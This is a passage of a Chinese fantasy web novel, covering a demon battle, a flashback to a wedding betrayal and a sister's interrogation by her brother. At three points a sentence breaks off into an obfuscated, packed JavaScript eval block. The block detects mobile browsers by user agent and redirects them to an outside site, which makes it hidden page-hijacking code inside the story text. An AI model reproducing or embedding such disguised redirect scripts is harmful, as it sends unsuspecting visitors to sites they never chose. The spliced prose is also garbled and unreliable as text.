谈话戛然而止,雪拂衣没有任何预兆就挥袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497718|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离去了。 不染尘差点没反应过来,他冲忙追出去,却见那抹白衣已融入了广袤苍穹,只留下一道划过天空的亮丽弧形,上有无数雪花缓缓下坠。 每次离开她都会留下这样的雪桥。 “她是在意我的!” 望着白衣消失的地方,不染尘嘴角往上提了提,久久不肯离去。 洞内大石块旁边,卷不动吹了吹自己的指甲,再次叹了口气:“这可怜的大妖何尝不是下一个祁夜有棠呢!” 随后,他望了一眼花帘,又叹了气。 花帘的另一边,傅南微与黑衣人各坐一方,黑衣人坐在冬青树下,春春本来在编花环,不知怎的,编到一半突然就编不下去了,甚至还颇为嫌弃,扔了之后又找了新的玩物——冬青树叶,他在黑衣人左右来回捡着地上的树叶,手上满当了便钻进黑衣人腰间的树球,放好了又飞出来再捡,一直重复这个动作,乐此不疲。 只有傅南微和黑衣人在听外面的对话。 当那女声响起时傅南微便猜测蛇妖说的“不该见的人”便是这位女子。 神族的事她还是了解一些的,此女便是神主座下四大圣君之一,千指雪女雪拂衣,曾在常兮神女的婚礼上与另外两位圣君围剿过巅峰时期的妖皇。 由此可见,雪拂衣的实力应在三色妖之上。方才若三色妖没有阻止,她想她的手已经血肉模糊了。 雪拂衣,她在心中暗暗记下这个名字。 偶尔,她也会注意黑衣人那边的情况,对于外面的谈话,那蛇妖起先一脸漠然,后来脸色越发的难看。 当卷老板领着雪拂衣即将迈进这方天地时,他一向幽深的瞳眸好似动了动。而当三色妖用连珠的恶语抨击妖皇祁夜有棠时,他准备递给春春的一片冬青叶瞬间化了灰。 他是妖,曾经或许是妖皇一党! 傅南微审视的目光太过招摇,对方没多久便抓住了她的视线。 “真是个傻子!” 他一动不动地看着她,眸中含恨带怨,好似这话不是说的三色妖,而是他自己。 傅南微慢慢收回目光,佯装无事发生。 可没多久,那方又传来声音。 “如果他没有利用价值了,你说雪拂衣会不会杀了他?” 他若是不用“你说”两个字,傅南微只当他是在跟空气说话,便不会搭理他。但他说了,时境如此,她觉得自己应当开口:“他那珠子价值不菲,像这样落魄的山洞定然无法按时供给。但他为了讨得雪拂衣的欢心什么事情都愿意去做,指不定背后有什么不能言传的秘密。雪拂衣是神族圣君,一言一行都代表着神族。为了神族不被其他三族诟病,她也许不会让他说话吧!” “如果是你,你会怎么做?”黑衣人深深凝视着她。 傅南微有些头疼,故作深思,而后随意抛了句话:“只有死人才不会说话。” 听闻,黑衣人一声大笑,脸色却是一沉:“你们神族当真凉薄!” 显然,他不满意这个答案。 可神族凉不凉薄关她何事? 傅南微瞅了他一眼,又将目光从他携满怨意的脸上迅速抽离,不再说话。 但黑衣人的目光仍停留在她身上,愤恨的眼神似乎在解剖着她刚才的那句话。 未久,花帘处有脚步声逼近。 “大意了,竟让你们偷听了这么久!” 8. 第 8 章 不染尘的恐吓并未引起黑衣人的注意,他仍是盯着傅南微,一动不动。 这让不染尘多看了他两眼,问谁能在强大的敌人面前不畏生死,不仅稳如泰山还能挺直腰颈,此时此刻此地,唯他莫属。 “你,究竟是什么妖?” 终于,黑衣人给了脸,脖颈一扭:“想死明白点?” 闻言,不染尘眉心高高一耸:“没见过世面的东西,爷爷现在就送你去见你太爷爷!” 黑衣人手中的一片冬青叶再次化灰:“瞎了眼的狗东西,白活了这么久,怎么还不去见你老祖宗?” 此话一出,正在树上摘叶子的春春当即一愣,抓着衣兜的手一个不稳,攒了满怀的冬青叶飘飘下落,散入空中,簌簌地藏进失了颜色的草木里。 “敢惹我爹爹,你惨咯,惨咯!” 傅南微静观着这二妖,只觉这无色之地即将迎来一场大战。但不知为何,不清楚二妖实力上下的她竟对蛇妖有了些道不明的期待。 她想应是三色妖要将自己手上的皮肉扒给雪拂衣,所以才更想他赢。 此刻,被激怒的三色妖脸上有了些好看的色彩,红、黄、蓝三色似水在流淌。 他堂堂一大妖,连对方是何真身都看不透,自己的真身却被对方一眼就给看!穿!了! 好没面子啊! “都给本君去死!” 他怒吼一声,像做法一般张开双臂,身上瞬即迸发出一缕缕红黄蓝三色烟雾,而待烟雾散开,重叠的烟雾又有了其他颜色,浓雾滚滚,似有一种邪恶的力量,它们一色冲撞一色,吞并一色又裹挟了另一色,活像一个个吃人嗜血的怪物。 没多会,这片无色天地便被这些五颜六色的彩雾完全掌控。黑的、红的、黄的、蓝的、紫的......这些怪物浮游在空中,扒在石壁上,践踏着此间草木,撕咬着洞内的人。 烟雾狂卷,浓郁呛人,强大的视觉冲击更是让人挣不开眼,傅南微一手撑着石壁,一手捂嘴干咳。这烟雾似携了某种毒药,她心跳越来越急,越是使力四肢越是无力,让她毫无机会反抗。 “去死!” 那色妖大吼,又疯狂大笑起来。 忽而,地底有惊雷炸响,山洞剧烈震颤,上空碎石如雨砸落,镂空的圆形石壁被一道天光撕开,山洞轰然开裂,生生被劈成了两半。 狂风呼啸而入,在摇摇晃晃的天地里、轰隆的巨响声里与那些彩色怪物激烈拼杀。 肆虐的色彩越来越淡了,浓郁的烟尘也越来越稀薄了。 傅南微靠在石壁上,慢慢调整呼吸。 冬青树上的春春看了看断壁旁疲惫的蓝衣,又看了看被红黄蓝三笔彩墨包围却不敢近身的黑衣,他小嘴一咬,小拳一张,只纵身一跃便跳在了那依旧张狂的色妖肩上。 “狗东西!” 春春张开双腿,利索地骑上不染尘脖子,早已准备好的双手勇猛地摘掉他的君子冠,奋力地抓挠着他一头梳得光鲜亮丽的秀发。 “让你欺负我,让你欺负我娘亲......” 小爪子一下比一下狠。 被这一闹,不染尘瞬间破了功,施法放彩烟的手不自控地去护自己的头发:“本君做了整整两日的头发!给本君住手!” “都穷成这样了,还敢自称本君?” 春春动起手来也是不管不顾,在头上使劲薅,真是恨不得把上面的头发给拔个干净。 不染尘的长相虽算不得美男子,但一身气派的大长袍配上这一头整洁漂亮的头发好歹能看出是个大人物。可被春春这么一闹,他现在更像是一个潦草的疯子。 看着一缕缕飞舞在眼前的发丝飘飘下坠,头皮频频传来的痛感让他彻底疯狂。他提手抓住春春的腿,一把将其拽下来,手臂在空中飞速抡转。 “臭小子,给本君去死!” 横眉怒目的色妖狠狠扬手,往上一抛,春春被重重砸向洞壁,碎石开裂的脆响夹着孩童的惨叫声沉沉下坠。 陷入痛苦中的春春根本来不及思考自己的下场,只为又要见不到爹娘了而落下了遗憾的泪水。 他记得他独自一人坐在幽暗的深谷里时对着一轮高悬的明月许过的愿:再次团聚时他一定要给爹爹梳一个最适合他的发型,给娘亲编一顶最精美的花环,给树球里装满冬青叶,还要在墙上铺上一层绿绿的藤蔓,让它们开出春天里最美的花朵。 可是现在,这些都还没实现呢,自己就要死了! 身体下落的间隙,过往的回忆在春春脑中频频闪现。不甘心呐,这样的结局怎对得起他这一百年来承受的孤寂! 而这样的想法也才不过一瞬便有一个熟悉的臂膀向他靠来,阻止了他的坠势。 “爹爹~” 他放肆大哭起来。 黑衣人将受伤的孩子紧紧护在怀中,目光低垂,看着春春的额头,那掩映在发丝下的乌青异常醒目。刹那间,他眼睫猛然一扬,冷怒的视线直逼对面。 “找死!” 他空出一只手,微抬的指尖骤然缠上一根红绳,与此同时,身前出现一道足以将空间隔开的巨大光盾。 不染尘盯着横亘于眼前的光盾,双手下意识交叉胸前,可待光芒散去,他亲眼看见那光盾只是一条条光束般的长绳绷立在半空时,便嘲讽道:“这便是你为本君设下的陷阱?哼,自不量力,莫非你以为这些不堪入目的绳子能捆住本君?” 黑衣人无话,像是在酝酿什么,慢慢地,缠绕在指尖的纤细红绳有了焰光,火一样的焰光下,红绳被绷得僵直。瞬间,他目光锁定色妖,指尖轻动,列阵在前的光形绳索便朝对面疾射而出。 不染尘脸有不屑,双手依旧作防御状,似乎就等着绳子上身,好让对方看一看这东西有多么不堪一击。可他不曾想到,正是此举让他再难翻身。那些绷得僵直的绳索在触碰到他身体时立即弯曲,变得柔软,缠在他的身上,不断收紧,进而化作万千光绳,又化作缕缕细红,从他的手腕脉络钻体而入。 只一息时间,不染尘脸上多出一抹惊色。他挥掌运气,试图将那些细红逼出体外,然而已经来不及,他的双手开始抽搐,大张的十指被一股力量驱使着,怎么也合不拢,嘴角也开始抽搐,继而延至全身。 那些细红在他的骨子里汇集、凝结,最后锻造成一根根如玄铁般的棍子,让他肢体僵硬,如被东西架着。他感觉膝盖重似千斤,在那“棍子”的趋使下,不得不落了地。 也是这一跪,他才惊觉他对自己的身体失了掌控,此刻控制他的仅是那黑衣人玩弄于指尖的一根红绳。 “南巫......傀术?”他后怕地盯着对面,艰难地咬字发音,“你.....你是谁?” 黑衣人并未回答他的话,只是看着趴在自己肩上的春春,问:“春春想如何处置他?” 春春扭头,伸出颤巍巍的手臂,指着色妖大喊:“我要把他身上的颜色全都变成白色,还要把他砸进石头缝里,还要......啊,啊啊啊,爹爹,痛痛~” 春春抱着黑衣人脖子,眼泪汪汪地趴着大声抽泣。 黑衣人轻拍春春的背,慢步走至不染尘身前,居高临下地俯视着他:“你动手还是我替你动手?” 不染尘眼神恐惧:“巫族傀术从不传外族,更别说南巫傀术这种失传已久的绝技了,你一小妖,如何能将南巫傀术炼至如此地步?” “不......不,这不只是南巫傀术......”他努力回想着,脸上肌肉都在发力,“相传巫族有人曾用一根会蚀骨的红绳虐杀过一个少年,未料那少年炼化了红绳,红绳认那少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497719|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为主。因其有千万种变化,可刚可柔,便有了另一个名字,牵丝戏!莫非你......你?不......” “你是谁?” “告诉我,你是谁!!!” 黑衣人稳稳站立,静静审视着他眸中逐渐扩大的惧色,回应他的不过淡漠一笑。 然而肩上的春春却是按奈不住了,哭着哭着冒了泡:“妖族中谁不知那少年是谁?笨蛋,笨死了笨死了!” 说完又哎哟叫疼,继续哭。 不想这一句话会引得不染尘摇头狂笑,大呼不可能:“那个废物早就被常兮杀了,当时神族那么多人盯着,他怎么可能......” “怎么可能?” “怎么可能活得过来?” “砰~”突来的声音让洞内彻底安静下来。 好似什么东西轻轻地碎了。 不染尘瞪大眼睛,直直望着占据绝对高处的黑衣人,陷入自我怀疑的他目眦尽裂。 对一只能操纵颜色的疯狗最好的惩罚是什么?便是让他变得无色无味,成为色盲。 “你可以滚了!” 黑衣人指尖轻弹红绳,那具跪立的僵硬躯壳立时团在了一起,滚过花帘,最终和外洞的大石块撞在了一起。 这一举动把静候在石头边的卷不动吓了一大跳。里间的动静让他早早便瑟缩起来,把自己抱成一个球形,刚听着里间的对话,除了一惊又一惊的表情,他的姿势和自己靠着的大石头没什么两样。 他瞅了瞅身旁多出来的一块“石头”,叹道:“太过轻敌不是什么好事,知道雪拂衣的手是谁弄伤的吗?就是他!不爆你妖丹都是因为你对雪拂衣的执着,顾影自怜,他同情你啊!” “都怪你当年太过偏执,就是不肯见他。” 对于黑衣人的事,他似乎知道的更多。 但即便不染尘知道也无济于事了,他已陷入深深的痛苦当中,无法自拔。 里间的石洞被分成了两半,明亮的光线把洞内的一切照得清晰可见。 傅南微手撑石壁,缓缓站起,只眨眼的间隙眼前便骤现出一抹清晰的黑色。 她下意识后退,可身后便是石壁,退无可退的她硬是生生撞了上去。 “小心!” 湿漉漉的小甜音急声叫喊,春春掉在黑衣人身上的手臂甚至还努力朝她的方向抬了抬。 “娘亲小心~” 春春咬着嘴巴,撑着圆圆的大眼睛,脸上痛苦担忧参半。 傅南微按着被撞的左边小臂,很快调整好情绪,她将春春额间的肿块盯了好一会儿,不觉间眨了眨眼睛,正想说什么眼角的余光却又偏偏瞥见了那抹黑衣。 几乎在一瞬间,她脸色一变,将目光从春春身上移开,冷声道:“我不是你娘亲。” “啊!”春春的身子猛然摆动起来,试图用脆弱的双手去抓对方的胳膊,“你就是娘亲!娘亲娘亲娘亲~” 傅南微看着他不顾自身痛处也要朝她伸来的双手,一时陷入无奈。稍息,她睨了一眼旁边的黑衣:“你不管?” 意料之中,黑衣人此时的脸很臭,目光更是骇人。若不是之前见识过他的威怒,她想她此刻的手掌心应该全是冷汗。 “他想怎么叫便怎么叫!” 短短的一句话,满满的挑衅。 傅南微不解地看向他,终究未能与他争辩。 与这蛇妖,是辩不清的。 “阿微!” 两人对视的间隙,花帘处响起一道中气十足的男声。 傅南微按在小臂上的手深了半寸,她缓缓转身,却见花帘那处正立着一位身穿红金战甲的男子。 他高大英武,腰间配一把玄色长刀,青筋凸起的手下按着刀柄,一双鹰隼般的眼睛似在洞察着她身边的一切。 9. 第 9 章 “兄长?” 傅南望着对面的戎装男子,知道兄长这几日就会回来,但不知道会这么快。 比震惊先到的是迎面而来的肃杀之气,傅南微发现他正在审查着她旁边的黑衣人以及他抱在怀中的孩子。 她不由开口:“兄长怎会来这里?” 话音落下傅寒钧才移开目光,扫了一眼她脸上的几道污泥,紧闭的嘴巴并没有张开的意思。 傅南微目光飘忽,似在躲避对方打量的视线,好似与之触及一分她的心事就会被他看穿。 “过来!” 傅寒钧的声音不重不轻,却是以命令的口吻说出来的。 傅南微指尖紧攥着衣角,故作镇定地走过去。 “娘亲~” 不知何时,春春已经从黑衣人身上下来,一瘸一拐地拉住她的手,眨巴着亮亮的大眼睛:“娘亲别走好不好?” 傅南微却急着与他撇清关系:“再说一次,你认错人了。” 春春嘴角缓缓下滑:“娘亲又要丢下我和爹爹吗?” 傅南微眼见一个孩童满眸的光亮一点点熄灭。 “娘亲可以抱抱春春吗?” 春春的十指扣着她想要挣脱的手,轻轻晃了晃。 傅南微差点愣了神,这一次,他居然不哭不闹,安静的神情多是不舍与留恋。 她有些动容。 不是因为他与电电相似的声音,而是出于对一个渴望母爱而不得的孩子的怜悯。 这孩子真把她当娘亲看待了! 她低垂着脑袋,俯看着他的眼睛,双手却在即将展开的一刹那被一个声音紧急叫停。 “该回去了!” 声音很轻,却很冰凉。 她迟疑了稍息,还是松开了春春的手,慢步退至花帘处。 傅寒钧按着刀柄的手稍稍松了松,眼角余光再扫了眼站在不远处的那名黑衣,转身走了。 傅南微斜斜地看了一眼黑衣人,他也在看她。 奇怪的是,他的身体分毫无动,似乎并没有想过要阻拦她。而眉眼间又多出的几分怨怼之意似在说“你逃不掉的”。 她猛然转身,离开了这里。 春春探出的手虚抓了几下空气,身体像是泄了气的皮球,松软了下去。 旁边的黑衣人抚了抚他的小脑袋:“不哭,还有机会的!” 春春咬着嘴巴,仰头望他,满眸的热泪聚汩而下:“可是爹爹,春天就要过去了。” 黑衣人抬眸,目光追随着那抹离去的蓝衣:“会再见的!” 一股疾风卷开了花帘,他眉峰微沉,目光淡淡扫去:“出来!” 花帘处传出窸窣脚步声,随即一残影飞身而至,叩拜在他跟前:“小妖卷不动,拜见妖皇陛下,恭贺......恭贺陛下重获新生。” 看着他这一套麻利的动作,妖皇祁夜有棠眉间又是一紧:“原来你眼睛不瞎啊!” “小的当......当然是认得陛下的,只是一百年时间太久了,不......不敢确定您就是妖皇啊。不染尘让小的为他收集玉石,小的若说一个不字他张口便杀,况他当年是反对三灵妖君拥立您为妖皇的,是您的对头,小的怕说出来后他对您不利,就......就闭了嘴。” “对我不利?”祁夜有棠嗤笑一声,“你倒是个会忘的,可你是什么样的秉性我可清楚得很。” 卷不动身子一颤,胸口撞地:“一百年前是小的不懂事,求陛下饶过小的,小的愿为妖皇陛下肝脑涂地,任凭陛下差遣。” 祁夜有棠转视春春,携怒的目光一转柔和,他蹲下身,抚着春春的额头:“回去睡一觉好不好?睡一觉就不疼了。” 春春咬着嘴巴,湿润的眼睫上下翻动:“但是爹爹一定要记得叫醒我。” 祁夜有棠点头:“好~” 随即春春化作一道绿光钻进了树球。 祁夜有棠目光继续逡巡着蓝衣离开的方向,缓缓起身。 卷不动顺着他的视线寻去,才反应过来什么,头埋得更低了:“她只是长得像,十二岁到十八岁,我可是亲眼看着她长这么大的,她......她是人族,不是常兮!” 祁夜有棠似乎并不惊讶:“看着她长大?那刚才让雪拂衣进来又是何居心?” 卷不动抬起头:“不敢瞒您,是有点私心,但这也不能怪我啊。六年前有个神人找到我,让我去天盛城西市卖丹穴山的竹实,我虽是个商人,但也是有些脾气的,从神族把那竹实运过来本就老费劲儿了,还赚不到钱,真是气煞我也!” “为什么让你在西市卖竹实?” 卷不动叹气:“还不是因为那地方离傅家最近!我可是琢磨明白了,天盛城不兴吃竹实,买的人本来就少,我手里的大都被那傅家姑娘买了去,那个神人呐,估计是冲着那姑娘去的吧。” “我本是不想干的,无奈那神人太难缠,追了我五天五夜,我只得答应。这不是想着这姑娘和常兮长得像嘛,雪拂衣见了肯定会将她带回神族,这样我就自由不用卖竹实了。” “那个神人是谁?”祁夜有棠问。 卷不动摇头:“那是我给他取的外号,神经一样的人可不就是个神人嘛!不过他身上有个印着神族符文的棒槌,应该是神族的,但神族有棒槌的人多了去了,小的也不知道他具体是谁。” “棒槌?”祁夜有棠默念着,但好似并不打算细问,只淡淡道,“告诉我,一百年前,常......神族发生了什么?” “常兮和梵乐并未完婚!” 卷不动脱口而出。 这一句话让祁夜有棠也僵了一霎,但迅速便反应过来,睨了卷不动一眼,怒道:“我问她了吗?” 卷不动识趣地低下头,而后又继续慧眼识君意,侃侃道:“婚礼上陛下您那重拳一击差点让梵乐把小命都丢了,哪里还做得成什么新郎官呀。婚礼直接取消,常兮因此幽居话月谷,无事不出。大神女因身体抱恙,让自己的夫君沧溟暂代神主之职,主理神族一切事务。” “可就在十二年前,梵乐重伤不治,终是魂游天镜去了。这便使得一向爱重他的亲哥哥沧溟与常兮生了嫌隙。而常兮呢,也屡屡顶撞沧溟,更是怨恨大神女把神主之位给了沧溟,一时妒火焚身的她竟失手......杀了大神女,逃出了神族。大神女的离世让刚失去弟弟的沧溟彻底疯狂,他下令让三大圣君要不顾一切活捉常兮。此举得到人皇、巫主的一致支持,神族三位圣君可凭御令进入人、巫二境领地,包括当时无主护佑的妖境。但不到一个月那三位圣君就回了神族,沧溟也没有再下达任何要抓常兮的命令。” “为何?”祁夜有棠问。 卷不动摇头:“大概只有沧溟和那三位圣君知道吧!或许......”他将头埋下,嘀咕道,“听说是被就地正法了!” 可这嘀咕声还是被祁夜有棠听了去:“就地正法?” 卷不动试探性地抬了抬眼,正好瞥见他微弯的嘴角,也不知是不是在为常兮死了而高兴。 祁夜有棠微抬下巴,深远的目光穿透那道被天光划破的洞壁望向天外。 仿佛那厚重的云层里正在上演着一场百年前的故事。 一百年前,他一身黑袍,独自踏上登天梯来到丹丘山,一步步走进那座布满红绸的大婚殿堂。 “他就是什昉太子?妖族新立的那个妖皇?” “笑话,什昉国都亡了,哪来的太子?” “他来干什么?也请他了吗?” “莫非......他要抢亲?” “真是笑话,他一个不人不妖的怪物,凭什么跟我们梵乐圣君抢?” 在场众人,人族的拿他当笑话,巫族的对他不屑一顾,神族的更是嘲讽他痴心妄想。而他只是看着前方的红衣,向众人发话:“我要带她走!” 众人轰然大笑。 “你谁啊,妖族的便宜妖皇?还是人族的那什么亡国太子?” 他紧咬牙关,握紧拳头:“我,要带她走。” 话音才方落地,便有人向他挥来重重一拳,恰好打在他的脸上:“狂妄的东西,那三只老妖给你个名头就真拿自己当妖皇了?” 他没有还手,甚至没有看一眼打他的人。 他望着殿中的那袭红衣,向她伸出一只手:“跟我走,好不好?” “想走?没实力就不要说这种大话。” 一个棒槌狠狠砸在了他的背上。 鲜血破口而出,他依然没有收回伸出的那只手:“我知道,是他们逼你的……” 然而,那袭红衣始终没有回头。 “她不会跟你走的!” 她身旁的红衣扔下手中的红绸,刻意牵起她的手,引她转身:“她喜欢的人,是我。” 他望着两人十指相扣的手,怔了怔,笑着说不可能,心底却暗暗期待她能甩开那只讨厌的手。 可她既没有这样做,也没有说话。 一定是被控制了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497720|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样一想便朝她迈步,一条不过一丈的路却走得颇为辛苦,棍棒、讥讽、谩骂、拳头,劈头盖脸地朝他砸下来。 所有人都想阻止他。 他不想与众人为敌,可所有人偏要与他为敌。 耳中的谩骂和身体的疼痛让他再也无法控制自己,身体里的三股力量终于冲破桎梏从他的双手猛然冲出。 大殿的两侧被贯穿,那些对他出言不逊的人倒成了一片,那些对他重拳出击的人更是怯怯不敢近身。 也让这富丽堂皇的殿堂变得一片狼藉,红绸被震碎,一点也不像喜堂。 “休得在此放肆!” 这声音至大殿上方传来,气势极尽威压。他还未来得及看清那人的脸便有一女二男飞入殿中。 他不再克制,全力出击,对那身形高大的红衣便是一击,也将长臂一揽,把身披嫁衣的新娘拥入怀中。 “我带你走。” 见状,众人怒喝。 他们听过妖皇在妖族的惊天作为,但也只是听过,他们更想亲自试试这新一代妖境之主的实力。 在神族三大圣君的引领下,人、巫二族有志之士纷纷加入战斗,他们持剑上阵,都想会一会这狂傲的小子。 剑光与妖气轰然相撞,他力抗万千剑锋,黑袍染血也不后退半步。 云空被打乱,天地似乎都变成了红色。血色剑影下,他终于冲破锁身罗网,傲立于云端之上。 他回头看了一眼那座大婚宫殿,只一抬手,一股黑色妖气便如一把巨型墨刀,将那巍峨的红色宫殿劈成了两半。 “再敢阻我,我便屠了丹丘!” 声如洪钟,响彻整座丹丘山。 声音落下,他破开雾霭重重的结界,带着新娘离开了神族地界。 只是,他没想到,怀中的新娘会将一只骨笛,亲手扎入他的心口。 他不敢置信地看着没入胸膛的骨笛,抬眼时眸中尽是茫然。 “......为什么?” 新娘目光冷漠,终于对他说了第一句话:“敢在我面前扬言屠丹丘,你,该死!” 他的大脑陷入一片空白:“你......说什么?” “我乃丹丘神女,常兮。” “丹丘......神女......” 他恍若失神般看着她:“即便你是神女,我与你也无仇怨......我们一起经历了那么多,我不相信你会这样对我。” 他是那样信任她,信任到对她没有任何防备,信任到在这个都想他死的世间连她的真名身世都可以不管不问。 “我之所以接近你就是为了取你一身奇骨。与你只是逢场作戏,从始至终,让我常兮倾心的只有梵乐。刚才你重伤于他,那么......我便杀了你。” 她的话是......一点感情也没有啊! 胸口被鲜血濡湿,他心痛却觉荒谬,过往种种就只是逢场作戏吗?他不相信,也不敢相信。他紧紧握住将那只骨笛插入心口的手,痴痴盯着她,一字一句道:“那你看着我的眼睛,你敢说......你从未爱过我?” 常兮淡淡一笑,对上他的视线,一把将骨笛拔出:“你听着,我常兮,只爱梵乐。” 血顺着指尖滴落,他的心被这只骨笛剜得干干净净,刚才那句“你重伤于他我便杀了你”的话突然在耳边炸响。 他笑了,笑得偏执又疯狂。 不远的天空传来电光,那些围攻他的人脚踏飞剑,声势浩荡地寻来此处将他团团围住,要设法将他围杀于此。 可常兮没给他们这个机会。 她扔出四颗灵珠,让其绕着二人飞速旋转,像是一圈圆形的天堑,在他们与众人之间划出界限。 “谁都不许动他!” 声音一出,为首的三位圣君脸上犯了难色,但都默契地没有进犯。 这让他濒死的心又有了一丝期待。 可谁曾想,常兮破掌取血,召唤出自己的本命剑,在四灵珠形成的光形护盾下毫不犹豫地朝他一斩。 谁都没有想到常兮会亲自出手,所有人都为眼前这一幕所震惊。 最后她推了他一掌。 他的心彻底死了。 他感觉到身体在慢慢下坠,在无尽的虚空中变得越来越轻。 他将目光死死锁定那介稳稳立于高处的红衣,愈来愈远的视线中,有一滴清晰的眼泪,有她那冷若冰霜的眼神,还有她微微张开的朱唇。 “真是个傻子!” 10. 第 10 章 回傅家的路上傅寒钧什么也没问,只让下属给了傅南微一匹马。 然后带着他的一行人把她远远甩在了后面。 一行十六人,个个身穿戎装,在马上飞驰。彼时的傅南微已有疲态,即便快马加鞭也是跟不上他们的,于是便算了,慢悠悠骑着,也省些力气。 在路过一个茶水铺时她看见了那十六匹高大的战马,近了一瞧,傅寒钧和他的将士们正悠闲地坐在外面喝茶闲聊,脸上都没有一点赶路的痕迹,应是在此处坐了许久。 傅寒钧也看见她了,只望了她一眼,脸色便忽然凝重起来。 她没有下马,就这样坐在马上。 约莫一盏茶的时间,傅寒钧放了杯子,带着他的将士们飞身上马。 十来匹战马跑得飞快,嘚嘚的马蹄好似要将地面踏出一个窟窿来。 “诶,客官,还有几盏茶呢......” 店铺里跑出来一个布衣男人,傅南微斜斜瞟了他一眼,只觉熟悉。 “姑......姑娘,您要吗?不收......您的钱。” 是他! 她急忙反应过来,这家茶水铺是她来时经过的那家。 她神色一紧,握紧缰绳就纵马飞驰,好似把刚刚省下来的力气全都用上了。 十几匹战马从身旁接连闪退,她终于来到了傅寒钧身边,喉咙灌入的冷气使得她连咳了许久,但抓着缰绳的手却一刻也没有放松,尽量与傅寒钧并行。 “兄长~” 傅寒钧没有看她,只端端驱着缰绳,没有快于她,也没有落后于她。 但见他棱角分明的脸上依旧冷淡疏离,傅南微也止了说话的心思,只跟他一道回了傅家。 十几名将士牵着战马接连散去,傅寒钧只带着傅南微去了他的观澜居。 室内整洁有序,桌椅一尘不染,尽管主人不在,他的侍女们也把这里爱护得很好。 傅南微熟练地坐在下方,伸出左腿,侍女眉儿褪去她的鞋袜,仔细检查着她的脚踝。 一层薄薄的银片紧紧贴着她的脚踝。 “少爷,这银环还在呢,没裂也没破。” 眉儿望着竹帘的方向,声音里都带着笑,竹帘那儿微微一动便红了脸。 傅南微盯着她,每次检查脚踝她都会笑,也不知在笑些什么。 未久,竹帘开出一条缝,傅寒钧信步走出,换了一身蓝衣常服的他褪去一身凌厉,显得稍微平易近人了些。 跟他出来的,还有一个叫眼儿的侍女,她抱着叠好的铠甲,微垂着头,也是眉眼含笑。 傅寒钧走至上方坐下:“都出去。” 眉儿眼儿相视一眼,应声退下。 傅寒钧手指掐着杯口,盯着傅南微眼睛:“去九嶷山祭祖时你遇上了山贼?” 傅南微故作迟疑,看来沈碧灵已经把她编的故事说给了他,便象征性地点了点头。 “还遇见了蛇妖?” 傅南微本是想用傅映雪刺杀的事来堵这母女俩的嘴,没想到蛇妖的事还是被捅了出来。她眼色微冷,正想如何应对:“许是……蛇妖杀了他们。” “那你又去九嶷山做什么?” 她答道:“父亲留给我的灯笼石掉了,所以想去找找。” 傅寒钧的视线从她的眼睛慢慢落至她的脖颈:“不怕再遇上山贼?” 傅南微摇头,坚定道:“有父亲教我的本领,我不怕!” 闻言,傅寒钧嘴角微微一翘,目光却是锐利:“阿微,你知道吗,当你和二伯母的说辞一模一样的时候我会默认为你们都在撒谎。” 傅南微垂眸,没有说话。 “我可以认同你遇到了山贼的说法,但蛇妖吃了他们又让他们化了白骨……为什么?为什么蛇妖要救你?还将落入水中的你毫发无损地送回岸上?这吃人的蛇妖未免也太心善了些!” 傅南微没想到沈碧灵是这样跟他说的,摇头道:“我掉进了湖里,醒来时就在家里了,我不知道。” 傅寒钧放下杯子,慢步朝她走近:“你们认识?” “不认识!” “灯笼石只是个幌子,你去九嶷山实则是为了他?” 傅南微抬眸:“他是蛇妖,我找他做什么?” 傅寒钧皮笑肉不笑:“那就得问你了,你和他做了什么?” 做了什么? 不知怎的,傅南微想到了那个梦,让她不禁打了个寒颤。 傅寒钧在她跟前止步,弯下腰,正视她的眼睛:“阿微,你有事瞒着我!” 傅南微双眸微颤,适才反应过来他在套自己的话。没有与他对视,她嘴里决然吐出两个字“没有”。 “没有?” 傅寒钧神色登时凌厉起来,反手抓起她的左手,让衣袖落下,漏出一段白皙的手臂,还有一个惹目的金手镯。 “那这是什么?” 傅南微被他这突如其来的动作吓得神情一僵:“我,买的。” “这可不是普通手镯。” 傅南微蹙眉:“我买来防身的。想来兄长也知道了,去九嶷山的路上我杀了两名山贼,然后遇上了色妖,因那孩子也被色妖抓了,他父亲救他就顺便救了我,仅此而已。” “兄长还想问什么?”她看着他的眼睛。 傅寒钧眼眸微动,诡谲地与她委屈带怨的目光较量了许久,最后终于松开她的手,低低一笑。 “你杀的两名山贼确实该死,可你别忘了,那里还有个茶店老板。你就不奇怪吗?他一个良民怎么敢一个人在明知有山贼出没的山坳里开一间茶铺?” 傅南微后知后觉:“他在为山贼做事!” 傅寒钧道:“想让别人相信你,做事就得不留痕迹。此事关系到傅家的声誉,我已派人处理干净了。” 